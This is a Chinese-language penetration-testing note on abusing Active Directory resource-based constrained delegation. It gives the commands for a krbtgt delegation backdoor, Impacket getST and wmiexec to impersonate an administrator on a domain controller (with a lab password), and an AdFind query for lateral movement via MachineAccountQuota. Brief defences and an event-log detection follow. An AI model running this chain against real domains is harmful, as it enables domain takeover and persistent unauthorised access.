Invoke-TrimarcADChecks:https://www.hub.trimarcsecurity.com/post/securing-active-directory-performing-an-active-directory-security-review
Impacket Python版本:https://github.com/SecureAuthCorp/impacket
基于资源的约束性委派(Resource Based Constrained Delegation)
是Win Server 2012引入的,无需域管设置相关属性,请求ST(服务票据)的过程与约束委派类似,传统的约束委派S4U2Self返回的票据一定是可转发的,如果不可转发那么S4U2Proxy将失败;但是RBCD中,就算S4U2Self返回的票据不可转发,S4U2Proxy也是可以成功的,并且S4U2Proxy返回的服务票据总是可转发。S4U2Self的票据转发基于属性:"TrustedToAuthenticationForDelegation"决定
简单理解为:A机器设置基于资源的约束性委派给B(设置msDS-AllowedToActOnBehalfOfOtherIdentity属性),则B可以通过s4u协议申请高权限票据对A进行利用。
域后门利用
原理:需要域管理员权限,修改krbtgt或是域控的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性,加入已知域账户的SID
1、拥有将域机器加入域的域用户的权限。(将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限)
权限:GenericAll(完全控制),GenericWrite、WriteProperty、WriteDacl等等权限都是可以修改账户属性的
2、一个任意服务账户或者一个机器账户(每一个普通域账户默认可以添加10个机器账户)
设置属性值并查询【域控上执行】
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount zhangsan
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
#清除命令
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount $null
获取ST【受控域账户机器执行】
python getST.py -dc-ip 192.168.139.195 -spn krbtgt -impersonate administrator byjb.com/zhangsan:Wlaq!testZ3
使用wmiexec登录域控【受控域账户机器执行】
set KRB5CCNAME=administrator.ccache
python wmiexec.py -dc-ip 192.168.139.195 -no-pass -k administrator@dc01.byjb.com
查看krbtgt账户的账户属性
横向移动利用–扩大可控机器范围
在内网渗透中,当我们已经获取到一个账户,或者一个机器权限后,如何扩大自己的优势?(除了用已知的密码去爆破其他机器以外)
默认域用户可以添加10个机器账户,由属性"ms-DS-MachineAccountQuota"的值决定,而机器自身和把机器拉入域的域用户都有权限更改机器的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性。
思路:
1、寻找可控的账户都拉哪些机器入域(查询ms-DS-CreatorSID,非域管加域机器才会有该属性)
2、寻找哪些机器的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性值是可控账户
AdFind.exe -b "DC=WLAQ,DC=COM" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
https://xz.aliyun.com/t/10061#toc-12
防御方式
高权限用户禁止配置委派,添加到受保护组
清除域内所有不需要的SPN、禁止域用户配置密码永不更新
Get-ADUser -Filter * -Properties ServicePrincipalName, PasswordNeverExpires | ? {($_.ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)}
日志检测
Windows Event 5136
修改目录服务对象【msDs-AllowedToActOnBehalfOfOtherIdentity】
注:此文章参考了很多的网络上的其他文章!!!